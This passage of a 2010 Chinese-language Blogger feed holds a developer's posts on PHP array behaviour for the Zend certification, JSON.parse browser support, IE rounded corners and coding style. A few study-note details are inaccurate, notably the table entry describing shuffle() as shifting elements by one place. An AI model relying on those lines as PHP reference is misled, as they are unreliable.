Basic&lt;br /&gt;&lt;code&gt;$x[] = 10;&lt;br /&gt;$x['aa'] = 11;&lt;br /&gt;echo $x[0]; //Outputs 10&lt;br /&gt;&lt;br /&gt;//continue, what if &lt;br /&gt;$x[0]=12; // &lt;br /&gt;echo $x[0]; //Outputs 12, 蓋掉了 &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;另外新增元素會從Array中最大的數值增加&lt;br /&gt;&lt;code&gt;$a = array(2 =&amp;gt; 5);&lt;br /&gt;$a[] = 'a'; //This will have a key of 3&lt;br /&gt;&lt;br /&gt;$b = array( '4' =&amp;gt; 5,'a' =&amp;gt; 'b');&lt;br /&gt;$a[] = 44; //This will have a key of 5&amp;lt;$/code&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;blockquote class=""&gt;key中，'A'跟'a'不同，但'1'跟1相同&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Array Operations&lt;/b&gt;&lt;br /&gt;&lt;code&gt;$a = array(1,2,3);&lt;br /&gt;$b=array("a" =&amp;gt; 4,5,6);&lt;br /&gt;var_dump($a + $b);&lt;br /&gt;&lt;br /&gt;//result in&lt;br /&gt;array(4){&lt;br /&gt;[0] =&amp;gt; int(1)&lt;br /&gt;[1] =&amp;gt; int(2) &lt;br /&gt;[2] =&amp;gt; int(3)&lt;br /&gt;[a] =&amp;gt; int(4) //沒有5,6&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;為什麼5,6不見了?&lt;br /&gt;因為$b = ('a'=&amp;gt; 4,1 =&amp;gt; 5, 2 =&amp;gt; 6);&lt;br /&gt;而$a + $b時，被前面的$a搶走了...&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=""&gt;var_dump及print_r的差別&lt;br /&gt;=&amp;gt;一樣，但前者會印&lt;br /&gt;型態&lt;/blockquote&gt;&lt;b&gt;Comparing Arrays&lt;/b&gt;&lt;br /&gt;$arrayA == $arrayB&amp;nbsp;&amp;nbsp; //當陣列數一樣，值一樣&lt;br /&gt;$arrayA === $arrayB //當陣列數一樣，值一樣，&lt;span style="background-color: white; color: #e06666;"&gt;Order也一樣&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: white; color: #e06666;"&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Array Iteration&lt;/b&gt;&lt;br /&gt;Array pointer問題&lt;br /&gt;&lt;code&gt;$a = array('zero','one','two');&lt;br /&gt;foreach($a as&lt;span style="color: red;"&gt; &lt;/span&gt;&lt;span style="background-color: white; color: red;"&gt;&amp;amp;&lt;/span&gt;$v){&lt;br /&gt;}&lt;br /&gt;foreach($a as $v){&lt;br /&gt;}&lt;br /&gt;print_r($a);&lt;br /&gt;&lt;br /&gt;//outputs&lt;br /&gt;Array&lt;br /&gt;{&lt;br /&gt;[0] = zero&lt;br /&gt;[1] = one&lt;br /&gt;[2] = one //&lt;span style="color: #e06666;"&gt;two被改one了&lt;/span&gt;&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;2個foreach都沒做事，為何會變改&lt;br /&gt;因為第一個foreach的$v是call by reference&lt;br /&gt;在迴圈結束時，$v停在$a[2](two)&lt;br /&gt;&lt;br /&gt;在第二個foreach時&lt;br /&gt;被assign "one"...&lt;br /&gt;所以囉 這不是bug&lt;/li&gt;&lt;li&gt;&lt;b&gt;Sorting Arrays&lt;/b&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;br /&gt;&lt;table&gt;&lt;tbody style="text-align: left;"&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;Name&lt;/th&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;說明&lt;/th&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;Key&lt;/th&gt; &lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;sort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;排序value，可加第二參數&lt;br /&gt;SORT_REGULAR, SORT_NUMERIC, SORT_STRING&lt;/td&gt;&lt;td style="text-align: left;"&gt;destory&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;asort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;排序value,key被保留&lt;/td&gt;&lt;td style="text-align: left;"&gt;保留&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;rsort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;sort()是ascending order,rsort()即為decending order&lt;/td&gt;&lt;td style="text-align: left;"&gt;destory&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;arsort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;即為decending order&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;natsort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;sort()，排序10t,2t,3t(因此10t的1先出現),此時利用natsort即可解決&lt;/td&gt;&lt;td style="text-align: left;"&gt;destory&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;natcasesort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;考慮大小寫不同&lt;/td&gt;&lt;td style="text-align: left;"&gt;destory&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;ksort($array);&lt;/td&gt;&lt;td style="text-align: left;"&gt;依key排序 low to high (krsort相反)&lt;/td&gt;&lt;td style="text-align: left;"&gt;保留&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;usort($array,'myCmp');&lt;/td&gt;&lt;td style="text-align: left;"&gt;user defined&lt;/td&gt;&lt;td style="text-align: left;"&gt;destory&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;uasort($array,'myCmp');&lt;/td&gt;&lt;td style="text-align: left;"&gt;保留key&lt;/td&gt;&lt;td style="text-align: left;"&gt;保留&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;uksort($array,'myCmp');&lt;/td&gt;&lt;td style="text-align: left;"&gt;依key排序&lt;/td&gt;&lt;td style="text-align: left;"&gt;保留&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;The Anti-Sort&lt;br /&gt;&lt;table&gt;&lt;tbody style="text-align: left;"&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;Name&lt;/th&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;說明&lt;/th&gt; &lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;shuffle($card);&lt;/td&gt;&lt;td style="text-align: left;"&gt;將array往後移一位(最後一個變第一個)&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;array_rand($card,[, int num_req]);&lt;/td&gt;&lt;td style="text-align: left;"&gt;隨機挑n個key&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;Set Functionality&lt;br /&gt;&lt;table&gt;&lt;tbody style="text-align: left;"&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;Name&lt;/th&gt;&lt;th style="background-color: #ffe599; text-align: left;"&gt;說明&lt;/th&gt; &lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;array_diff($a,$b)&lt;/td&gt;&lt;td style="text-align: left;"&gt;$a的差集($a有什麼$b沒有的) &lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;array_intersect($a,$b)&lt;/td&gt;&lt;td style="text-align: left;"&gt;$a,$b的交集&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/li&gt;&lt;/ul&gt;&lt;table&gt;&lt;tbody style="text-align: left;"&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="text-align: left;"&gt;&lt;br /&gt;&lt;/th&gt;&lt;th style="text-align: left;"&gt;&lt;br /&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2068535484493621352?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2068535484493621352/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2068535484493621352' title='6 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2068535484493621352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2068535484493621352'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/zend-php-5-certification-study-guide.html' title='Zend PHP 5 Certification Study Guide 筆記 (一)'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7007568653118482063</id><published>2010-10-07T16:14:00.006+08:00</published><updated>2010-10-08T23:05:36.374+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='jQuery'/><title type='text'>parse json在browser上的支援問題</title><content type='html'>因為安全性問題 知道不要用eval轉json&lt;br /&gt;改用JSON.parse &lt;br /&gt;但幸虧有瞄到網友提醒瀏覽器的支援性&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IE8 Beta 2以上（但只限JScript 5.8，也就是IE8標準模式）&lt;/li&gt;&lt;li&gt;Firefox 3.1 Beta 3以上（但似乎只有對JSON.parse()以及JSON.stringify()的支援）&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;看來只好用jquery的&lt;a href="http://api.jquery.com/jQuery.parseJSON/"&gt;jQuery.parseJSON&lt;/a&gt;&lt;br /&gt;不過要注意&lt;br /&gt;因為字串的關係，所以要求key的部份要用雙引號(當然value是字串時，也是用雙引號)&lt;br /&gt;&lt;code&gt;//錯的格式&lt;br /&gt;{test: 1}   //需要引號包住&lt;br /&gt;{'test': 1} //用了單引號&lt;br /&gt;{"test":1}  //正確的格式&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;另外google上的plugin &lt;a href="http://code.google.com/p/jquery-json/"&gt;jquery-json &lt;/a&gt;&lt;br /&gt;還沒看懂 先記下來&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://fengzhiyin.javaeye.com/blog/371039"&gt;風之音 - JSON是什麼&lt;/a&gt;&lt;br /&gt;jQuery.parseJSON&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7007568653118482063?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7007568653118482063/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7007568653118482063' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7007568653118482063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7007568653118482063'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/json-parse.html' title='parse json在browser上的支援問題'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2155533067312977061</id><published>2010-10-06T15:02:00.005+08:00</published><updated>2010-10-07T09:36:35.443+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Html'/><category scheme='http://www.blogger.com/atom/ns#' term='jQuery'/><title type='text'>ie 圓角問題</title><content type='html'>ie沒實作css3 border-radius&lt;br /&gt;所以沒有圓角，該怎麼辦咧&lt;br /&gt;看到有高手用jQuery完成ie圓角問題&lt;br /&gt;正開心的覺得有解決方案時&lt;br /&gt;&lt;br /&gt;機車johnny又說出口頭禪「按捏未塞啦 歹看」&lt;br /&gt;說圓角有鋸齒...很醜&lt;br /&gt;還說看facebook在ie上是有圓角的...而且很smooth&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_tTSUnirsVco/TK0jjwFLY7I/AAAAAAAAFDA/hjLmwwAF1Bw/s1600/ie.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://2.bp.blogspot.com/_tTSUnirsVco/TK0jjwFLY7I/AAAAAAAAFDA/hjLmwwAF1Bw/s320/ie.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;馬上開ie用給我看&lt;br /&gt;這... 嗯哉咧...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;用firebug看(當然是在firefox上看)&lt;br /&gt;是用css3的屬性達成的...&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_tTSUnirsVco/TK0g-SFBZEI/AAAAAAAAFC8/gd9dX1D2sFM/s1600/firefox.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="90" src="http://3.bp.blogspot.com/_tTSUnirsVco/TK0g-SFBZEI/AAAAAAAAFC8/gd9dX1D2sFM/s320/firefox.PNG" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;但ie未實作 所以應該不是用這方法解決&lt;br /&gt;只是ie也沒有類似firebug的工具可以看&lt;br /&gt;想說硬是從html裡找出來 慘念...&lt;br /&gt;是用javascript產生的...&lt;br /&gt;這下有的找了...&lt;br /&gt;&lt;br /&gt;-- 後記 --&lt;br /&gt;感謝Coud 分享ie develop tool&lt;br /&gt;讓我查出來 原來fb針對ie是另外做圓角&lt;br /&gt;而不是跟直接用css的border-radius屬性&lt;br /&gt;有找到pop_topleft這東西 不過還沒看是用圖還什麼完成&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_tTSUnirsVco/TK0g98H316I/AAAAAAAAFC4/QGBdAuRE0xQ/s1600/ie.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="138" src="http://1.bp.blogspot.com/_tTSUnirsVco/TK0g98H316I/AAAAAAAAFC4/QGBdAuRE0xQ/s320/ie.PNG" width="320" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/bb250413%28VS.85%29.aspx"&gt;Rounded Corners in Internet Explorer&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.dave-woods.co.uk/index.php/rounded-corners-in-internet-explorer/"&gt;Rounded Corners in Internet Explorer Using JQuery&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2155533067312977061?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2155533067312977061/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2155533067312977061' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2155533067312977061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2155533067312977061'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/ie.html' title='ie 圓角問題'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tTSUnirsVco/TK0jjwFLY7I/AAAAAAAAFDA/hjLmwwAF1Bw/s72-c/ie.PNG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-831122620040993613</id><published>2010-10-02T11:06:00.013+08:00</published><updated>2011-09-01T13:53:36.923+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineering'/><title type='text'>Coding Style</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;一直以來都是自己開發系統&lt;br /&gt;也還沒跟別人合作過&lt;br /&gt;快把自己的coding style好好補一下 &lt;br /&gt;&lt;br /&gt;Mr.Days建議閱讀的文章&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://go2.wordpress.com/?id=725X1342&amp;amp;site=mmdays.wordpress.com&amp;amp;url=http%3A%2F%2Fjava.sun.com%2Fdocs%2Fcodeconv%2F&amp;amp;sref=http%3A%2F%2Fmmdays.wordpress.com%2F2007%2F04%2F24%2Fcoding-style%2F"&gt;Coding Conventions for the Java Programming Language&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://go2.wordpress.com/?id=725X1342&amp;amp;site=mmdays.wordpress.com&amp;amp;url=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FC%2B%2B_Programming%2FCode_Style&amp;amp;sref=http%3A%2F%2Fmmdays.wordpress.com%2F2007%2F04%2F24%2Fcoding-style%2F"&gt;C++ Programming Conventions&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://go2.wordpress.com/?id=725X1342&amp;amp;site=mmdays.wordpress.com&amp;amp;url=http%3A%2F%2Fdn.codegear.com%2Farticle%2F10280&amp;amp;sref=http%3A%2F%2Fmmdays.wordpress.com%2F2007%2F04%2F24%2Fcoding-style%2F"&gt;Pascal Style Guide&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://go2.wordpress.com/?id=725X1342&amp;amp;site=mmdays.wordpress.com&amp;amp;url=http%3A%2F%2Fwww.mozilla.org%2Fhacking%2Fmozilla-style-guide.html&amp;amp;sref=http%3A%2F%2Fmmdays.wordpress.com%2F2007%2F04%2F24%2Fcoding-style%2F"&gt;Mozilla Coding Style Guide&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://go2.wordpress.com/?id=725X1342&amp;amp;site=mmdays.wordpress.com&amp;amp;url=http%3A%2F%2Flxr.linux.no%2Fsource%2FDocumentation%2FCodingStyle&amp;amp;sref=http%3A%2F%2Fmmdays.wordpress.com%2F2007%2F04%2F24%2Fcoding-style%2F"&gt;Linux Coding Style&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;讀了幾篇&lt;br /&gt;coding style就是要讓別人可以看的懂，能很快的看出結構&lt;br /&gt;以這個為出發點 本身的coding style就不會太差了&lt;br /&gt;其他的技巧及convention就多讀一點囉...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Naming Rule&lt;br /&gt;最近聽人介紹一本書Clean Code, 感覺也挺不錯的&lt;br /&gt;看別人寫好的&lt;a href="http://www.dotblogs.com.tw/hatelove/archive/2010/04/14/namingruleguide.aspx"&gt;心得&lt;/a&gt;最快，以下截出幾句... &lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;b&gt;&lt;span style="color: #ff8040;"&gt;Use Intention-Revealing Names&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;一個命名，還需要註解來解釋它，就代表他還不夠清楚表示意思&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;span style="color: #ff8040;"&gt;Make Meaningful Distinctions&lt;/span&gt;&lt;/b&gt; &lt;br /&gt;獨自開發時容易因為一時的方便，只為了建置或開發方便，而隨手使用了不具意義或暫時的命名，往往之後帶來相當多潛在的問題&lt;/li&gt;&lt;li&gt;&lt;span style="color: #ff8040;"&gt;&lt;b&gt;Use Pronounceable Names &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;幫助溝通，而且不會顯得這麼愚蠢&lt;/li&gt;&lt;li&gt;&lt;span style="color: #ff8040;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="color: #ff8040;"&gt;Use Searchable Names&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;太容易重複出現，就會導致不容易搜尋與定位&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Version control&lt;br /&gt;時常自己獨立完成一支程式，想想個人做Version control頂多是backup吧... 不... backup都至少是上個星期的事情了...&lt;br /&gt;看&lt;a href="http://fcamel.twbbs.org/"&gt;fcamel&lt;/a&gt;的文章「&lt;a href="http://fcamel.twbbs.org/archives/2010/05/29/1057/?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+fcamel+%28fcamel+%2F+chlo%27s+Blog%29"&gt;養成寫程式的好習慣&lt;/a&gt;」，提到即便是一個人 做Version control也是有幫助的&lt;br /&gt;原本還沒想到有什麼好處 &lt;br /&gt;看完後，發現自己還滿常發生&lt;a href="http://fcamel.twbbs.org/"&gt;facmel&lt;/a&gt;的說的狀況&lt;br /&gt;&lt;ul&gt;&lt;li&gt;寫程式較不怕被中斷，只要 hg diff 就知道剛才改了什麼。commit 前也能清楚明白這次做了那些修改，去掉忘了除掉的 debug code。&lt;/li&gt;&lt;li&gt;可以放心地修改，改到昏頭就 hg up -C 清掉剛才不知所云的修改，不用花費力氣將程式弄回正常的版本。&lt;/li&gt;&lt;li&gt;寫到一半發覺要先完成另一個功能，hg shelve 暫存目前的修改，接著將另一個功能做完並 commit，再 hg unshelve 回頭做原本的事，可以輕鬆地切換目標，隨時專注在目前的目標上。&lt;/li&gt;&lt;li&gt;若發覺某個功能忽然不能運作，hg up 切回舊的版本，做個 binary search (或用 hg bisect) 立即找到改出問題的 commit。由於每個 commit 都很精簡，看一下就會找到改爛的原因。&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;說到差的conding style... &lt;br /&gt;我最受不了沒縮排的...&lt;br /&gt;真不知道他們怎麼coding的...&lt;br /&gt;哦..還有還有... 把所有東西都寫在同一個class裡的那種...&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://fcamel.twbbs.org/archives/2010/05/29/1057/?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+fcamel+%28fcamel+%2F+chlo%27s+Blog%29"&gt;fcamel - 養成寫程式的好習慣&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://mmdays.wordpress.com/2007/04/24/coding-style/"&gt;Coding Style – 程式設計風格對軟體開發的影響&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dotblogs.com.tw/hatelove/archive/2010/04/14/namingruleguide.aspx"&gt;[讀書心得]Clean Code - Meaningful Names&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-831122620040993613?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/831122620040993613/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=831122620040993613' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/831122620040993613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/831122620040993613'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/coding-style.html' title='Coding Style'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry></feed>
